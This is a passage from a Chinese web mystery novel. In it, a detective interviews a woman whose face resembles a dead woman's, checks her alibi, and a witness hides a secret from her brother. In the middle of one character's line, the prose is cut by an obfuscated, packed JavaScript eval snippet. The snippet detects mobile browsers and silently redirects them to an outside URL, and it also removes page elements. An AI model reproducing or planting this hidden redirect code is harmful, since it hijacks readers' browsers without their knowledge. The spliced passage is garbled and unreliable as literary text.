“阿昼,你知道吗,其实你特别聪明。”她微哑的声音低了下来,带着一种蛊惑般的亲昵,“从很早之前就是这样,心里对什么都清楚得很,只是不愿表现出来。可以前那个沉默寡言的你,不管面对多复杂的局面,最后总能......跟着自己的心,做出选择。” 她忽然收拢双臂,像藤蔓般勾住了迟昼的脖子,随即不由分说地强行跨坐到他身上。她歪着头贴近他的耳廓,温热的呼吸拂过他的皮肤,声音轻得像羽毛,却又带着千斤重量:“现在,你也能做到吧?” 她并不重,但迟昼却感觉自己像被柔软而坚韧的蛛丝层层缚住的飞虫,动弹不得。在那一瞬意识仿佛飘离了身体,但即便如此,他也清晰地感知到自己在恍惚之中点了头。 她似乎得到了满意的回应,笑了笑,奖励般在他侧脸印下一个轻吻,随即利落地站起身,语气恢复了轻快:“对了,我买了年糕,晚上想吃煎的还是烤的?” 迟昼听见自己用干涩、木然的声音回答道:“怎么顺手......怎么做吧。都听你的。” “好。” 简宁应了一声,转身走向厨房。到了门口,她又忽然停住脚步,回过头,目光落在仍然僵坐的迟昼身上,轻声补了一句: “不过......你愿意发那条信息,我很高兴。” 说完,她不再停留,转身没入厨房的光影。 迟昼的睫毛几不可察地颤了一下。他低下头,视线落在自己摊开的双手上。 他清楚地知道,就在刚才那片沉默里,自己已经默许加入了一场游戏——一场他曾暗自渴望,却从未想过一旦启动,便没有暂停键、也无法倒档的疯狂游戏。开始按钮并非由他按下,但他必须顺着玩下去,直至终章。 他站起身,将椅子推回原处,动作间又想到了那个叫严疏的警察——仿佛是一个意外闯入程序的bug。如果他再锲而不舍地深挖下去,说不定......也会真正进入游戏。 这世上,真有什么东西是完美无缺的吗?人?事?物? 或是......罪行? 突然间迟昼想,这个bug......也许能够中止这场游戏。 亦或是,毁了那张承载一切的光碟。 12. 拾贰 从迟昼家出来,严疏没急着离开,而是又坐回之前那个石凳,点了支烟,任由夜风拂过脸颊。 说实话,能如此顺利地见到简宁,完全出乎他的意料——从迟昼之前表现出的异样紧张来看,他本以为对方会千方百计地推迟,甚至阻挠他们见面。 可真正见到了人,他的大脑却没能提取出任何有效信息。像,确实是像,但好像也仅止于此了,说明不了任何问题。 不过,他确实留意到了几个关键细节——正如宋晴所说,简宁脸上没有那颗标志性的棕色泪痣,发型也与监控中的楚谕相去甚远。 严疏吐出一口烟圈,在朦胧的雾气中继续思索。对于并非亲近之人,大多数人的记忆本就模糊,所谓的“六七分像”和“八九分像”,在缺乏专业训练的人眼中,往往得出的结论也就只有一个“像”字。 说到底,在这个社会里,人与人之间的身份认证,依靠的从来不只是容貌,而是各种坚实的社会标签——身份、学历、职业、家庭背景,这些才是构筑一个人社会存在的基石。 他又想起简宁那张脸——干净而明媚,像一株无论在什么环境下都能顽强生长的野花,浑身散发着蓬勃的生命力。在她开门进来的那个瞬间,严疏几乎要打消所有疑虑——她看起来就是个一心追求安稳生活的普通女人。 一丝难以言喻的愧疚感悄然爬上心头,他竟因为打扰了对方平静的生活而感到些许不安。 夜风渐起,吹散了他眼前的烟雾,也吹醒了他的恍惚。 这种感觉太不对劲了,完全不像平时的他。这种近乎怜惜的情绪,岂非和宋朗他们谈起楚谕时的反应如出一辙?哪里像个办案的刑警? 他用力吸了一口烟,试图理清这反常情绪的源头。他一向主张实事求是,办案风格更是以耿直著称,否则也不至于收到那么多投诉。 那此刻这份莫名的柔软,究竟从何而来? 是因为她身上流露出的、对平凡生活的强烈渴望打动了他?还是同情她这样一个努力生活的女人,却在命运的推动下遇见了迟昼,阴差阳错地成了别人的替代品? 可是,若真要论命运的不公,楚谕......岂非更加令人扼腕? 将烟头碾灭在石凳旁,严疏的眼神重新变得坚定。他觉得自己得为那个命运多舛的姑娘做点什么,哪怕......她已经不在了。 尽管思绪纷乱,他却始终觉得二人相貌相似这一点背后藏着什么。没有证据,纯粹是直觉在叫嚣——单纯地认为“巧合”这个解释,太过轻巧简单了,而且两人的容貌......实在有些太像了。 然而关于长相这个疑点,终究需要亲自从简宁口中得到印证。思前想后,严疏决定绕开迟昼这堵密不透风的墙,单独与她会上一面。 他原本的计划是改天在小区附近伺机而动,避开迟昼,直接拦下简宁,却没想到计划赶不上变化。 当天晚上,他刚拖着疲惫的身躯回到家,一通陌生来电便突兀地响起。听筒里传来一个女声,刻意压低了音量:“请问是......严警官吗?” 连日奔波让严疏精神有些涣散,他坐在床沿,随口应道:“是我。您哪位?” 然而,对方接下来的自我介绍像一盆冰水一样瞬间浇醒了他所有的困意:“我是简宁,迟昼的女朋友,我们傍晚刚见过。我想和您单独谈谈,可以吗?” 严疏不自觉地挺直了背脊,大脑重新开始高速运转:“当然。你什么时候方便?” “明天早上可以吗?我上午要上班。” “好。” “地址我稍后发您。严警官,明天见。” 电话挂断,身体的疲惫依旧,睡意却已荡然无存。取而代之的,是浓重的疑惑——简宁,为什么会主动找他? 这太不合常理了。整件事从表面上看,与简宁的关联可以说是微乎其微。即便楚谕之死最终被定性为凶杀,主要嫌疑也理应落在伴侣或情感竞争者身上,而鉴于宋朗与楚谕婚期将近,迟昼的动机显然更为充分。更何况,他今天除了多看了她几眼,并未有任何其他交流。即便简宁察觉到被怀疑,按常理也该避之不及,怎么会主动找上门来? 严疏眉头紧锁,反复推敲却毫无头绪。最终,强烈的困意压倒了一切,他索性将问题抛给明天,倒头便睡。 第二天一早,严疏准时驱车前往约定地点,发现是一家颇有格调的精品咖啡店。他推门而入,以为自己到得已经够早,却一眼看见简宁已经坐在靠窗的位置上,正低头看着手机。 就这样,两人比预定时间早了近半小时,便戏剧性地会面了。 “早餐可以在这里解决,我有员工额度。”简宁微笑着指向点单区,语气自然,“我是这家店的店长。” 严疏闻言一怔,甚至有一瞬间的手足无措。他想起自己曾去4S店询问是否有人知道简宁的工作地点,但此刻对方却主动和盘托出?这种被对方预判、甚至抢先一步的感觉,让他心底升起一股异样感。 即使面对迟昼,他也未曾有过这种感受。而他,非常不喜欢这种失控的局面。 严疏抬起眼,锐利的目光试图穿透对面女人平静的表象,然而和昨天一样,他什么有效信息也捕捉不到。她只是略带疑惑地回望着他,眼神清澈,仿佛选择这里纯粹是图个方便,表明店长的身份也只是为了打消他关于消费的顾虑。 严疏一时语塞,只能收回目光低头看向菜单,最后随便点了份三明治和一杯最便宜的拿铁。 他心中有无数问题在翻涌,但昨夜那份强烈的违和感在叠加适才的异样后,已经如鲠在喉。在摸清简宁的真实目的之前,他必须沉住气,至少也要把对话的主动权抓回自己手里。于是他保持了罕见的沉默,只是安静地用餐,同时借这个机会,在极近的距离下,再次细细审视对面的女人,等待着她先打破僵局。 严疏对整容行业其实知之甚少,但在仅隔一张桌子的距离下,他能看出简宁的五官十分自然,面部线条流畅,没有不协调的僵硬感或明显疤痕,连那双明亮的双眼皮,也显得十分妥帖。 “我知道自己这样可能有些莫名其妙......”简宁终于打破沉默,指尖在咖啡杯沿不安地轻轻弹动,“但......每次您找过迟昼,他的情绪就会变得特别糟糕。我实在放心不下。” 这话听着耳熟。宋晴那丫头也说过类似的话——不过是被他找上门后才抱怨,不像眼前这位,是主动找上来的。严疏点了点头,却丝毫没有道歉的觉悟:“我理解。” “您找他,还是因为楚谕的事吗?” “是。”严疏抬眼,“你也认识楚谕?” “谈不上认识,说过几句话而已。” 眼看话题步入正轨,严疏擦了擦嘴角,身体微微前倾:“你对楚谕的印象如何?” “我?”简宁唇角微扬,眼睛弯成好看的弧度:“可以随便说吗?” “当然,只是随便聊聊。”严疏摊了摊手,“没有录音,不具法律效力。” 简宁轻轻颔首:“您应该也注意到了,我们长得挺像。”说着她在自己脸前划了个圈:“容貌上很像。您听过一种说法吗?说每个人在这世界上都会有四个长相相似的人。如果这是真的,那楚谕就用掉了我的一个名额。” 她顿了顿,语气变得认真:“不过,看照片——尤其是加了滤镜的照片——我们确实很像。但真人站在一起的话,差别还是挺明显的。我觉得主要是气质上不太一样......而且我们性格也完全不同。怎么说呢?”她稍作停顿,似乎在斟酌用词,“算是......目标感的不同吧。” 严疏没太听懂,但还是点头示意她继续。 “说来不怕您笑话,我其实针对过她。”简宁轻笑一声,声音轻柔得像在讲述别人的故事:“我知道她和迟昼从小一起长大,算是青梅竹马,迟昼心里也一直有她的位置。再加上我们长得又像,所以我不可能一点都不在意啊。特别是她已经有未婚夫了,所以我实在不理解她的想法,也不太信迟昼的解释,为此还闹过一阵,惹出了不少麻烦。” 她拿起勺子,低头缓缓搅动咖啡,语气低沉了些:“但后来......我和她面对面谈了一次,才发现她其实什么都清楚,却又什么都不在乎。她太清楚自己想要什么了,为了达成目标可以非常坚决,比我成熟得多。” 简宁停下搅拌的动作,抬起头:“谈过之后我就释然了,那时我还相信我们都会越来越好。没想到她会突然......”她停下来抿了一口咖啡,调整了下坐姿:“得知她死讯的那一刻,我就知道完蛋了。毕竟......活人是争不过死人的。” 说到这里,她放下勺子,端起咖啡抿了一口,声音里带着恰到好处的苦涩:“您应该也清楚迟昼刚知道消息时的状态。我花了很大力气才让他慢慢振作起来。现在,我只希望他能彻底放下她,让她的影子从我们的生活里消失,所以我提议搬家、换工作。可您一再出现,总会让他再想起那些事......” 她的语气诚恳真切,带着令人信服的无奈,让人很难产生怀疑。严疏静静听着,心里不禁泛起一个疑问:这样的女人,为什么偏偏要执着于迟昼这歪脖子树?按理说,察觉到对方的执念与不忠——无论是□□还是精神——后,不是应该干脆利落地转身离开吗? 他知道有一个解释叫做“爱情”,可他实在不懂。 爱情,本该给人带来幸福。可现实中,为何总是伴随着诸多......麻烦与痛苦? 严疏无意识地叹了口气,这声叹息里混杂着疲惫与一丝不易察觉的动容。他定了定神,才追问那个最关键的问题:“你刚才说,和楚谕面对面交流过......具体是什么时候?” 简宁的指尖蜷缩了一下,轻轻抿住嘴唇,显露出一丝紧张。她深吸了一口气,仿佛下定了某种决心,才低声回答道:“其实......就在那天晚上,她出事的......几个小时前。” “什么?!”严疏的背脊瞬间挺直,像一张拉满的弓。这个突如其来的时间点,如同一道强光,暂时驱散了他之前所有碎片化的疑虑,将全部焦点都吸引了过去。 简宁似乎被他骤然变化的姿态吓了一跳,眼神立刻变得怯懦,整个人下意识地往椅子里缩了缩,声音也更弱了:“您......您别急,听我说完......” 严疏也意识到自己反应过激,他强迫自己放松下来,向后靠了靠,放缓了语气:“抱歉,你继续说。” “我其实也是后来听迟昼说起楚谕出事,才反应过来就是同一天。”她解释着,“可能也正是因为这样,他才不愿意跟您提起我见过她的事......大概是怕您会因此揪着我不放,给我带来麻烦。”说到这里,她抬起头,目光迎向严疏,声音虽轻,尾音却带着一丝不易动摇的笃定:“但我不怕。我知道自己做了什么。” 这份坦荡,看上去无懈可击。可严疏看着她此刻诚恳的姿态,那种莫名的违和感又悄然浮上心头。 然而没等他细想,简宁已经开始了她的讲述,流畅的叙述迫使严疏暂时按下了自己的疑虑。 在那之前,简宁其实早已知道了楚谕的存在,甚至暗中观察了她很久,也尾随过迟昼与楚谕的私下见面,却没发现什么逾矩。那天白天,她无意中从迟昼的手机上看到了楚谕发来的信息,约他晚上酒吧碰面。一股无名火窜起,她装作没看见,当晚便尾随迟昼去了酒吧。 酒吧里人头攒动,光线昏暗迷离。她正寻找迟昼的身影,一个姑娘却突然冲过来,不由分说地拉扯住她,嘴里吵吵嚷嚷。从对方零碎的言语中,她听出来对方是把她错认成了楚谕。她觉得既丢脸又气愤,挣扎着想甩开对方先离开这个是非之地。 两人拉拉扯扯到了门口,动静闹得不小,终于引来了迟昼。他过来帮忙解围,可那个女孩一直不依不饶,尖声叫嚷,仿佛自己才是被骚扰的那个。由于场面一度难堪,迟昼只好半拉半拽地将她和那个失控的女孩一起带到了酒吧旁僻静的小巷里,试图避开人群解决问题。 当时,简宁脑子里一团乱麻,只想立刻离开,然后好好质问迟昼这到底是怎么回事。然而就在这混乱的当口,她猛地感到后颈一阵尖锐的刺痛,眼前一黑,便彻底失去了知觉。 等她恢复意识时,已经坐在了楚谕的车上。楚谕向她解释,说那个纠缠不休的女孩是她未婚夫家被宠坏的妹妹,当时对方想拿随身带的电击棒攻击身前拉着她的迟昼,却阴差阳错地误伤了她,还直接把她电晕了过去。楚谕一再替小姑子道歉,恳求她的原谅,说这一切都是误会。 那时简宁刚刚醒来,脑袋里还木木的,只觉得满腔的憋闷烦躁,根本听不进太多解释。她只盯着楚谕,问对方约迟昼到底想干什么,心里又到底是怎么想的。 “我问完,她就很坦白地告诉我,说她快要结婚了。”简宁的眼神飘向窗外,似乎在回忆当时的场景,“她说那次约见迟昼,就是想做个彻底的了断,希望以后尽量不再见面。她还想提醒迟昼,她未婚夫的妹妹一直很不喜欢她,自从知道迟昼的存在后,更是想方设法跟踪他们,想抓住她这个准嫂子红杏出墙的证据。” 她的手指无意识地摩挲着杯沿,声音轻柔却清晰:“她特意选在那家酒吧见面,就是因为知道宋晴常去。她原本想着,如果能碰巧遇上宋晴,就一次性把话说开;如果没遇到,也就罢了。” 说到这里,简宁的眼中带着几分无奈:“然后她恳求我不要报警,说宋家也算有头有脸,特别看重名声,怕那姑娘留下案底。反正我也没什么大碍,她就和迟昼商量,先带我去她住处休息,等我完全清醒后,再正式向我道歉,把一切解释清楚。” 严疏的眉头越皱越紧:“你跟她去了吗?” “没有。”简宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352894|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇了摇头,“我在半路上就清醒了。我们在车上把该说的话都说开了,然后我就自己下车,打车走了。” “还记得下车的位置吗?” “这个......”简宁沉吟片刻,忽然想起什么,拿出手机熟练地打开打车软件,从历史订单中翻出一条记录,将屏幕转向严疏:“这是当时的订单,数据都有记录。” 严疏毫不迟疑地拿出笔记本,将时间、地点等关键信息一字不落地抄录下来。 简宁看着他专注记录的样子,脸上没有任何异样,只是等他停笔后继续说道:“我也没想到,她回去之后会发生那样的意外......她当时看起来挺幸福的,还跟我说车后座上那个巨大的玩具熊是未婚夫送的礼物。”她苦笑着补充:“之所以记得这么清楚,是因为我当时觉得她是故意在我面前提起未婚夫的,想用这种方式划清界限。” 严疏依旧面沉如水,对简宁的这番话不置可否。 见他始终无动于衷,简宁眼中忽然蒙上一层水光,声音也带上了几分哽咽:“我......我今天说这些,就是想告诉您,迟昼他只是想保护我,所以可能对您有些防备,让您觉得他在隐瞒什么。”她握住咖啡杯的手微微用力,指节发白,语气有些激烈起来:“他因为那场事故特别特别伤心,可是人已经没了,我们的生活还要继续啊!你为什么......非要抓着这件事不放?” 面对她突如其来的情绪波动,严疏一时语塞。 他也曾在无数个夜里问过自己同样的问题,但答案始终模糊。此刻,面对情绪激动的简宁,他不知该如何安慰,最终只能以一种近乎承诺的语气回应:“你今天说的情况,我都会去核实。请放心,法律不会冤枉任何一个无辜的人。” ********* 回去后严疏将手头的信息细细复盘,一些碎片化的线索似乎已经严丝合缝地对上了——酒吧里目击者们描述的那场争执,主角其实是宋晴和简宁。那晚的闹剧,也合理解释了为何宋晴表现出见过与楚谕相像的人,却又闪烁其词,不愿对他吐露实情。 眼下,他只需要去核实简宁打车地点附近的监控,如果可能,最好能追踪到她与楚谕分开后的完整路线。只要这些环节没有问题,理论上,简宁的嫌疑似乎就可以...... 排除? 想到这个词,严疏没来由地感到一阵烦躁。他点燃一支烟,猛吸了几口,随即有些恼火地将烟蒂摁灭,抬脚不轻不重地踹了一下旁边的电线杆,仿佛在跟这个无声的结论发脾气。 接下来的两天,严疏马不停蹄地投入调查。他首先联系了当晚载简宁回家的顺风车司机。然而司机早晚连轴转,单量巨大,对于某一位特定乘客,即便努力回忆,印象也早已模糊。加上深夜行车,司机坦言自己很少留意乘客相貌,对于长相几乎毫无概念。不过系统记录确实存在这一单,司机也不记得近期有过任何异常,从表面看,应该一切正常。 严疏又亲自去了简宁所说的下车地点勘查,发现附近设有监控探头。他便硬着头皮去了交通队,编了个不算高明的私人理由,请求调看那个时间段的录像。好在合作单位还算给面子,没难为他,允许他现场查阅,只是表示不允许拷贝。 监控画面的条件并不理想。角度刁钻,夜色浓重,只能隐约看到一辆符合楚谕车型和颜色的车停在路边,但车牌完全无法识别。快进播放了约半小时后,副驾驶车门打开,一个人影钻了出来,从发型和大致身形判断,确是简宁无疑。但即便将画面放到最大,面部细节仍旧隐藏在黑暗之中,看不分明。 盯着那团模糊的像素格,严疏心里泛起一阵说不清道不明的不适——或许是因为简宁这个人带给他的感觉太过玄妙,以至于在多方查证都看似清白的情况下,他仍无法轻易接受。 他自嘲地扯了扯嘴角,自己简直是魔怔了——将一个人的嫌疑顺利排除,本该是侦查工作的进展,此刻竟让他感到了某种压抑与失落......真是倒反天罡。 从交通队出来,他接到了赵队的电话,通知他假期结束,有新的案子要他归队处理,这次不能再多推诿。严疏只得应下,挂断电话后,熟悉的茫然感开始再次将他包裹。 他下意识又拨通了宋晴的电话,指望着能从这块明显更好捏的“嫩豆腐”里再榨出点汁水。铃声空响了几声,被无情挂断。他不死心地再打,这次对方好像学聪明了,任由铃声响到自动断线,也再无回应。 面对明显的抵触,严疏收起手机,倒也没再强求。他心底清楚,即便宋晴接了电话,恐怕也吐不出什么更有价值的新东西了。线索,似乎真的走到了尽头。 证据链看似即将闭合,只剩了最后一个时间缺口供他探究——监控显示楚谕和简宁分开的时间,与楚谕驾车回到小区的时间之间,存在一段不短的空白。按理说,若是径直回家,这段路程本不该耗费如此之久。 可这也有点阴谋论的意思了,也许楚谕只是半路停车买了些东西,又或者仅仅是找了个安静的地方独处,梳理那个混乱夜晚带来的心绪波澜。 毕竟那晚发生了太多事,而且未必每一段空白里,都藏着不可告人的秘密。 但反过来想——倘若楚谕真的在那段空白里见了某个人,那就绝不可能是偶然的邂逅。 在那个特定的深夜,知晓她的行踪,并且能让她愿意停下脚步相见的人......严疏脑海中只有一个名字——迟昼。 这个念头像一把钥匙,猝然开启了尘封十二年的记忆闸门。那场吞噬了楚谕母亲的大火,那个惊慌失措冲进派出所却又转身逃走的少年迟昼......那张混合着恐惧与绝望的年轻脸庞,如同用滚烫的烙铁印在了严疏的记忆里,经过十二年岁月的发酵,非但没有褪色,反而愈发清晰刺目。 少年在警局的慌张与楚谕母亲葬身火海的结局紧密相接,而迟昼本人,又是那起事件的证人之一。这一切,真的能用“巧合”二字掩盖过去吗?那个夜晚,他究竟为何奔向警局,又为何在最后一刻选择逃离? 他回答不了这个问题,但他知道,答案一定就埋藏在这横跨十二年的两场大火之间,埋藏在迟昼与楚谕那交织的命运深处。 可是,简宁那句带着颤音的质问——“你为什么就非要抓着这件事不放?”——却时而像一根无形的刺,反复扎进他的思绪。 警察的职责,究竟是什么? 是装聋作哑地守护生者的安宁,编织一个让他们得以平静生活的蜃影?还是不顾一切地掘开逝者的坟墓,任由腐土与真相一同暴露——哪怕那真相早已被时间风干,再无人在意,甚至只会带来新的毁灭? 如果放弃追查,能让活着的人获得他们渴望的宁静生活;而固执地寻求真相,反而会砸碎眼前这勉强维持的平和现实,甚至将更多的人卷入其中,受到伤害...... 他,还要继续吗? 13. 拾叁 严疏在迷雾中艰难前行的同时,宋家别墅里,宋晴正经历着另一种煎熬。 她像只被困在玻璃罩里的蝴蝶,连续几天都无精打采地窝在家中,对平日里最热衷的聚会邀约都提不起兴致。 这个周末,宋朗难得没去公司。兄妹二人都在家,母亲陈静便一早起身忙碌,张罗了满满一桌佳肴。这并非什么特殊日子,陈静平日也极少亲自下厨,但就是这顿略显刻意的家宴里,透着某种心照不宣的氛围。 在这个家里,他们终于看到了走出楚谕死亡阴影的曙光——至少,在陈静眼中是这样。 最初得知楚谕死讯时,陈静的悲痛不亚于儿子,甚至因此病了一场。从那以后,宋志伟便私下找兄妹俩谈过,委婉地希望家里不要再提及“楚谕”这个名字。然而即便噤声,那股无形的低气压却依旧在家中弥漫不散。 除了对楚谕的惋惜,宋志伟夫妇更多的担忧还是在宋朗的精神状态上。儿子已到而立之年,却在婚前遭遇如此变故,打击之大可想而知,不知何时才能重新振作,开始新的感情。 日子一天天过去,陈静渐渐从悲伤中缓过气来。今天这顿饭,便是她试图与过去告别的仪式。她以为,宋朗也该走出来了。 宋朗不愿拂了母亲的好意,这顿饭吃得比平时都多。可他虽然坐得笔挺,但细看之下,那份属于往日的奕奕神采却仿佛消失了大半,像一尊被抽去灵魂的精致空壳。儿子的异常陈静自然注意到了,饭后便示意宋晴去开解哥哥。 宋晴推脱不得,只好硬着头皮应下。可她实在不知该说什么——从前全家就属她和楚谕不对付,大哥对此心知肚明。如今由她去劝,怎么都显得假惺惺,透着几分站着说话不腰疼的虚伪。 更何况...... 无计可施的宋晴不愿再想,最后决定做足表面功夫。她溜进宋朗的书房,百无聊赖地瘫在飘窗上玩手机,打算混够时间便去向母亲交差。宋朗明白妹妹的来意,也不点破,两人就这样在一种微妙的沉默中共处一室。 宋晴正心神不宁地消磨着时间,手机铃声却骤然炸响,惊得她浑身一颤。本就慵懒的坐姿让她没拿稳手机,手一抖,手机直接摔在了地上。她手忙脚乱地起身去捡,正欲挂断,却在瞥见屏幕上那串号码时,呼吸猛地一滞。 是那个总是板着脸的警察。 她僵硬了一瞬才挂断电话,随即把手机调成静音,迅速揣进兜里。但这番动静已经惊动了宋朗,他回过头,随口问道:“谁的电话?” 他本是随口一问,却半晌没听见回应。再回头时,却恰好捕捉到了妹妹脸上尚未褪尽的惊慌与一丝苍白。他不由得怔住——印象里,这个被全家娇惯着长大的妹妹向来没心没肺、无忧无虑,怎么会仅仅因为一个电话就失措至此? 一个念头划过脑海,他的眉头渐渐蹙紧:“是那个姓严的警察?他还在骚扰你?” “嘘——!”宋晴惊得差点跳起来,没想到哥哥如此敏锐。她慌忙示意他压低声音,生怕被门外的父母听见。随即,她迅速换上平日那副娇蛮的神态,试图蒙混过关:“没有啦!就是个......挺烦人的朋友......” 看着妹妹那明显欲盖弥彰的模样,一向对她百般纵容的宋朗这次却没有退让。他目光沉静,却带着不容回避的力量,直视着她:“小晴,跟大哥说实话。” 那强装出来的明媚笑容瞬间僵在脸上。宋晴在他的注视下无所遁形,嘴唇嗫嚅了半晌,最终还是败下阵来,垂下头:“好吧......确实是那个警察。但他已经很久没找过我了,估计......估计就是又想问点什么才打的电话吧,真的没什么。” 宋朗听完,眉头非但没有舒展,反而锁得更深。他沉默了片刻,再开口时语气里带着一种自己都未察觉的迟疑:“你说......他一个刑警,又不是闲的无聊,怎么偏偏就对这件事紧咬不放?而且他和楚谕非亲非故......”他抬起头,目光探寻地望向妹妹,声音里开始透出一丝动摇:“会不会......真有什么隐情?” “哪来的什么隐情啊!哥你能不能别胡思乱想了!”宋晴感觉口袋里的手机再次无声地震动起来,像一块灼热的炭贴着她的皮肤,此刻听着大哥的话,只觉得自己被架在火上烤,几乎要透不过气。她悄悄伸手进口袋,没有挂断电话,只是按掉了震动,随后生硬地扯出一个笑容,试图说服他也说服自己:“案子早就结了,而且楚......嫂子她已经入土为安了。要是之后翻案打脸,有麻烦的也是他们警方自己,怎么会有人搬起石头砸自己的脚?” 说完一段话,她混乱的脑子似乎清明了些,猛地想起什么,如同抓住救命稻草般急急补充:“对了!之前我投诉他的时候,顺便看了他的履历。他是从汕城那边调过来的,嫂子老家不就是那边的吗?或许是对老乡的事格外上心呢......” 宋朗听着她的解释,虽然没再说什么,但紧蹙的眉头却微微松了几分。 捕捉到他神色的变化,宋晴悬着的心终于落回实处,暗暗松了口气。她这才若无其事般掏出手机,瞥了一眼那依旧亮着的、显示着“未接来电”的屏幕。 宋晴解锁屏幕,指尖悬在通讯录上,犹豫着是否该将这个号码拖进黑名单。把警察拉黑,似乎不太妥当?可转念一想,这人确实每次都用“了解情况”当借口,多半也没什么正式手续,自己凭什么要像个软柿子一样任由拿捏?就算事后问起,也大可以说是不堪其扰。 心一横,她还是将那个号码拖进了黑名单。她紧紧攥着手机,深深吸了一口气,仿佛完成了一个重大决定。然而,被这个电话重新唤醒的、深埋心底的恐惧,却始终无法像一串数字那样,被关进任何一个“黑名单”。 “今天是怎么了?”宋朗注意到她依旧心神不宁,游戏不玩,门也不出,便关切地问了一句:“平时不是总嫌家里闷吗?” 宋晴勉强扯出一个笑容,试图用娇嗔掩饰内心的波澜:“哥,咱俩平时难得见面,你就这么不想看见我呀?” 宋朗温和一笑,眉宇间积郁的忧愁似乎被冲淡了些许:“我不是这个意思。” 看着哥哥此刻柔和的神情,宋晴的心像是被什么东西刺了一下。她忽然低声问:“哥,你说实话,有时候你是不是挺烦我的?以前我总跟她过不去,你虽然从来没骂过我,但我好几次都感觉......你快忍不住要发火了。” 宋朗摇了摇头,语气平静却带着一丝不易察觉的怅惘:“发火也不至于。但我不明白,楚谕她怎么得罪你了?” 宋晴脸色白了白,嘴唇翕动了几下,像是有什么话堵在喉咙口,却怎么也吐不出来。她说不出那件不快的经历,更无法将那深层的、晦暗的缘由宣之于口,最终,也只能带着几分混乱和急切,揪住宋朗的袖子轻轻摇晃,脸涨得通红,像个做错了事却无法清晰忏悔的孩子:“我也不知道......我就是......就是不想你们结婚......我......我......”她的声音带上了哭腔,但始终也说不出什么,只反复念叨着:“哥,你别怪我,行不行?我知道错了,真的知道错了......” 看着她这副模样,宋朗心底涌起一阵无力的悲凉。但良好的教养和身为兄长的担当,让他绝不会对情绪明显波动的妹妹发脾气。他只是苦笑着,安抚性地拍了拍宋晴紧紧抓着他袖子的手,叹息道:“哥不怪你。不用说这些了,都过去了。” 真的......过去了吗? 宋晴仍然死死拽着哥哥的袖子,仿佛那是汹涌浪潮中唯一的浮木。听着他平静话语下分明压抑着的痛楚,她心绪翻腾,只觉得一阵强烈的酸楚猛地冲上鼻腔,眼眶也逐渐开始发热。 宋朗没再追问,只是抬手,用指节在妹妹脸颊上轻轻捏了捏。对于他这样一板一眼的人而言,那动作里已经带上了罕见的、近乎笨拙的温情。 可正是这片刻的温柔,成了压垮宋晴的最后一根稻草。她猛地扭过头,在眼泪决堤的前一秒,像只受惊的兔子般冲出了书房。 她一路跑回楼上自己的卧室,“咔哒”一声反锁,背靠着冰冷的门板缓缓滑坐下去,最终蜷缩在地上,紧紧抱住了自己的膝盖。 大颗大颗的泪珠无声地滚落,砸在地板上。这一刻,悔意如同潮水,将她彻底淹没。她是真的后悔了,可巨大的恐惧攫住了她,让她不知如何是好。 哥哥刚才说不怪她。可她心里清楚,那份宽容只是针对她过往那些无知的任性。如果她犯下了更大的、更不可饶恕的错误......他还会原谅自己吗? 事情......真的能像哥哥说的那样,轻易过去吗? 她原本以为,只要打发走那个穷追不舍的警察,时间自会冲刷一切,她也终将重获安宁。可当这件事始终萦绕,她才发现,这不过是自欺欺人——那根刺非但未被磨平,反而在她心底扎得更深,每一次触碰,都带来更为深切的恐慌。 刚才拽住哥哥衣袖的那一瞬间,她仿佛抓住了救命稻草,甚至萌生了将一切都和盘托出的冲动。 可她不能。 那件事太大、太重了,重到她稚嫩的肩膀无力承担,重到大哥挺拔的脊梁也会被压垮,重到......甚至足以将整个宋家拖入泥潭。 宋晴清楚地知道,能够坦白的窗口早已在身后轰然关闭。从选择沉默、选择隐瞒的那一刻起,她的前路便只剩荆棘——所有的苦果,哪怕带着血,也必须生生咽下。 她蜷缩在门边,身体因啜泣而剧烈颤抖,牙齿深深陷进下唇,不敢泄露一丝呜咽,生怕被家人察觉出任何异常。 在这片绝望的、自我压抑的死寂里,那个盘踞心头的名字,如同幽灵般再次浮现,仿佛带着无声的嘲弄。 可如今,她连怨恨对方的勇气都已消失殆尽。哭得红肿的双眼之中,只剩下不堪回首的、刻骨的惊惧。 楚谕。楚谕。 在几乎将她吞噬的混沌与压抑中,一个念头缠绕而上—— 那真是个......梦魇般的疯子。 ********* 周末过后,工作日伊始。 天光未亮透,宋朗便已发动引擎,驶离了父母家。自从独立任职,他便很少回父母家居住了,多数时间都待在离公司更近的公寓,只是近来感知到父母那份无声的担忧,才在周末偶尔抽空回来住上一晚。尽管他已竭力表现得一切如常,可惜,他的演技向来算不得高明。 他不太熟悉从父母家到公司的路,便不再费心去认,只是跟着导航,转过每一个弯。出门早,路上车辆稀疏,他也无需全神贯注。车轮平稳滑行,思绪却已渐渐飘远,漫无目的地开始回想,自己是否曾载着楚谕一同驶过这条路——印象中极少。 楚谕来探望他父母,多半选在她自己的休息日,那时他却未必有空。倒是教她开车时,似乎曾在这条路上练过手。 想到这里,他嘴角无意识地牵起一丝微不可察的弧度。楚谕就是那样聪慧,驾照考得异常顺利,上路后也从未出过差错。 她骨子里要强,从不轻易接受别人的迁就。当初他托关系为她谋得的那份金融机构的工作,里面涉及的财务软件和专业术语对她而言几乎是全新的领域,需从头学起,可她硬是凭着一股韧劲做得滴水不漏,不仅很快上手,还赢得了同事的信任。 前方的车流逐渐密集起来,宋朗被迫收敛心神,专注跟车,却忽感一阵沉重的疲惫袭来,头脑昏沉。不知为何,近来他总是被这种莫名的倦怠感侵袭,或许......终究没能从那场变故中真正走出? 前车似乎是个新手,在路边笨拙地来回调整了几把方向,才勉强塞进路边车位。随后,司机下车,匆匆走进了路旁一家亮着暖灯的咖啡店,看样子是要在通勤路上解决早餐。 被这小小的插曲打断,宋朗也从那份疲惫的恍惚中醒神。他索性也将车靠边停下,想去买杯黑咖啡提神。 店内似乎刚开门不久,灯光尚未完全亮起,氛围略显沉寂。晨光熹微中,只有一名店员站在工作台后,为刚刚进来的那位顾客点单。 